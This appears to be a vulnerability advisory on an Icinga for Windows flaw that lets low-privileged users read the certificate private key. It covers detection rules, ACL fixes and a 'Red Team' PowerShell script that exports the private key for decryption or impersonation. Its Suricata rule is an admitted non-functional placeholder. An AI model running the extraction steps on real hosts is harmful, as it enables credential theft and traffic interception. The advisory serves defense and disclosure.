CVE-2026-24414

Executive Summary

CVE-2026-24414 is a critical privilege escalation vulnerability in the Icinga PowerShell Framework, affecting all installations prior to versions 1.13.4, 1.12.4, and 1.11.2. The vulnerability stems from overly permissive default file permissions on the certificate directory, which grants every user read access. This allows any authenticated local user to read the private key of the Icinga certificate, leading to potential man-in-the-middle attacks, credential theft, and further lateral movement within a Windows environment. The issue is compounded by a related vulnerability in the Icinga 2 agent (CVE-2026-24413), which is automatically fixed upon upgrading the PowerShell Framework.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but is distributed via the Icinga for Windows installer and the PowerShell Gallery. Organizations should verify the integrity of their Icinga PowerShell Framework installation and ensure it is sourced from the official Icinga repository or the PowerShell Gallery.

CVSS Breakdown & Threat Level

While a CVSS score is not provided, the vulnerability can be assessed as follows:

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Any authenticated user can exploit this.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the original scope (e.g., network communications).
• Confidentiality (C): High (H) – Private keys are exposed.
• Integrity (I): High (H) – An attacker can impersonate the Icinga host.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N Estimated Base Score: 8.4 (High)

Threat Level: High. The vulnerability is easy to exploit and can lead to full compromise of Icinga communications.

Deep Dive & Mechanics

The Icinga PowerShell Framework stores its TLS/SSL certificate and private key in the directory: C:/Program Files/WindowsPowerShell/modules/icinga-powershell-framework/certificate

By default, the NTFS permissions on this directory grant Everyone read access. This means any user, including low-privileged accounts or even guest accounts, can read the private key file (typically a .pfx or .key file). With the private key, an attacker can:

1. Decrypt network traffic between the Icinga agent and the Icinga server.
2. Impersonate the Icinga host to send false monitoring data or receive malicious commands.
3. Perform man-in-the-middle attacks on the Icinga communication channel.
4. Extract credentials that may be encrypted with the certificate.

The vulnerability is exacerbated by the fact that the Icinga 2 agent also stores its certificate in a related directory (C:/ProgramData/icinga2/var), which is also affected by the same permission issue (CVE-2026-24413). Upgrading the PowerShell Framework automatically fixes both issues.

Vulnerable vs. Patched Code

The vulnerability is not in the code logic but in the installer and default configuration. The "vulnerable" state is the default NTFS permissions set during installation.

Vulnerable (Default Permissions):

# Vulnerable ACL on certificate directory
$acl = Get-Acl "C:/Program Files/WindowsPowerShell/modules/icinga-powershell-framework/certificate"
$acl.Access | Where-Object { $_.IdentityReference -eq "Everyone" }
# Output: Everyone Allow  ReadAndExecute, Synchronize

Patched (After Upgrade):

# Patched ACL on certificate directory
$acl = Get-Acl "C:/Program Files/WindowsPowerShell/modules/icinga-powershell-framework/certificate"
$acl.Access | Where-Object { $_.IdentityReference -eq "Everyone" }
# Output: (No entries for Everyone)
# Only Icinga service user and Administrators have access.

The patch modifies the installer to set restrictive permissions during installation or upgrade. The workaround involves manually updating the ACL.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a Windows host running Icinga for Windows (vulnerable version).
• A low-privileged user account.

Steps:

1. Identify the certificate directory:

   $certDir = "C:/Program Files/WindowsPowerShell/modules/icinga-powershell-framework/certificate"
   

2. List files in the directory:

   Get-ChildItem $certDir
   

3. Extract the private key (assuming a .pfx file):

   $pfxPath = Join-Path $certDir "icinga.pfx"
   $password = ""  # May be empty or stored elsewhere
   $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
   $cert.Import($pfxPath, $password, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
   $privateKey = $cert.PrivateKey
   # Export the private key to a file
   $rsa = [System.Security.Cryptography.RSACryptoServiceProvider]$privateKey
   [System.IO.File]::WriteAllBytes("C:/temp/private.key", $rsa.ExportCspBlob($true))
   

4. Use the private key for decryption or impersonation:

   • Decrypt Icinga traffic using Wireshark and the extracted key.
   • Create a fake Icinga agent to send malicious data.

Blue Team (Defense & Detection)

Detection Steps:

1. Audit NTFS permissions on the certificate directory:

   $path = "C:/Program Files/WindowsPowerShell/modules/icinga-powershell-framework/certificate"
   $acl = Get-Acl $path
   $acl.Access | Where-Object { $_.IdentityReference -eq "Everyone" }
   

2. Monitor for unauthorized access to certificate files:

   • Enable Windows Audit Object Access on the certificate directory.
   • Look for Event ID 4663 (An attempt was made to access an object) with the file path containing icinga and certificate.

3. Check for unusual processes reading certificate files:

   • Use Sysmon Event ID 11 (FileCreate) and Event ID 1 (Process creation) to detect non-Icinga processes accessing the certificate directory.

Indicators of Compromise (IOCs)

• File Paths:

  • C:/Program Files/WindowsPowerShell/modules/icinga-powershell-framework/certificate/*
  • C:/ProgramData/icinga2/var/* (related to CVE-2026-24413)

• Registry Keys:

  • HKLM\SOFTWARE\Icinga\Icinga for Windows (may contain certificate paths)

• Network Indicators:

  • Unusual TLS handshakes from the Icinga agent to unexpected IPs.
  • Decrypted Icinga traffic showing unexpected commands or data.

• Process Indicators:

  • Non-Icinga processes (e.g., powershell.exe, cmd.exe) reading files in the certificate directory.
  • Use of certutil.exe or openssl.exe to export private keys.

Detection Engineering

YARA Rule

rule Icinga_PrivateKey_Exposure {
    meta:
        description = "Detects attempts to read Icinga private key files from the certificate directory"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-24414"
        severity = "high"
    strings:
        $pfx = "icinga.pfx" nocase
        $key = "icinga.key" nocase
        $pem = "icinga.pem" nocase
        $cert_dir = "icinga-powershell-framework\\certificate" nocase
    condition:
        (any of ($pfx, $key, $pem)) and $cert_dir
}

Sigma Rule

title: Icinga Certificate Private Key Access
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects when a non-Icinga process reads the private key file from the Icinga certificate directory.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24414
author: Valters IT
date: 2026-01-01
tags:
    - attack.credential_access
    - attack.t1552.001
logsource:
    product: windows
    service: security
    definition: 'Requires advanced audit policy: Object Access > Audit File System'
detection:
    selection:
        EventID: 4663
        ObjectName|contains: 'icinga-powershell-framework\\certificate'
        AccessMask: '0x1'  # ReadData
    filter:
        ProcessName|startswith: 'C:\\Program Files\\Icinga\\'
    condition: selection and not filter
falsepositives:
    - Legitimate Icinga processes (filtered out)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 5665 (msg:"Icinga Certificate Private Key Exfiltration Attempt"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"|00 00 00 00|"; within:4; reference:cve,2026-24414; classtype:attempted-recon; sid:1000001; rev:1;)

Note: This Suricata rule is a placeholder for detecting exfiltration of Icinga data. Actual detection should be based on network behavior analysis.

Remediation & Mitigation

Immediate Actions:

1. Upgrade Icinga for Windows to version 1.13.4, 1.12.4, or 1.11.2 (or later). This will automatically fix the permissions on both the PowerShell Framework and the Icinga 2 agent.

2. If upgrade is not possible, manually restrict permissions:

   $paths = @(
       "C:/Program Files/WindowsPowerShell/modules/icinga-powershell-framework/certificate",
       "C:/ProgramData/icinga2/var"
   )
   foreach ($path in $paths) {
       $acl = Get-Acl $path
       $acl.SetAccessRuleProtection($true, $false)
       $rule = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Administrators", "FullControl", "ContainerInherit,ObjectInherit", "None", "Allow")
       $acl.AddAccessRule($rule)
       $rule = New-Object System.Security.AccessControl.FileSystemAccessRule("NT AUTHORITY\SYSTEM", "FullControl", "ContainerInherit,ObjectInherit", "None", "Allow")
       $acl.AddAccessRule($rule)
       $rule = New-Object System.Security.AccessControl.FileSystemAccessRule("IcingaServiceUser", "Read,Write", "ContainerInherit,ObjectInherit", "None", "Allow")
       $acl.AddAccessRule($rule)
       Set-Acl $path $acl
   }
   

3. Rotate the Icinga certificate after fixing permissions to ensure any previously exposed keys are invalidated.

Long-term Measures:

• Implement a least-privilege model for all service accounts.
• Regularly audit file permissions on sensitive directories.
• Use a configuration management tool (e.g., Ansible, DSC) to enforce correct permissions.
• Monitor for CVE-2026-24413 (Icinga 2 agent) and apply the same fix.

Valters IT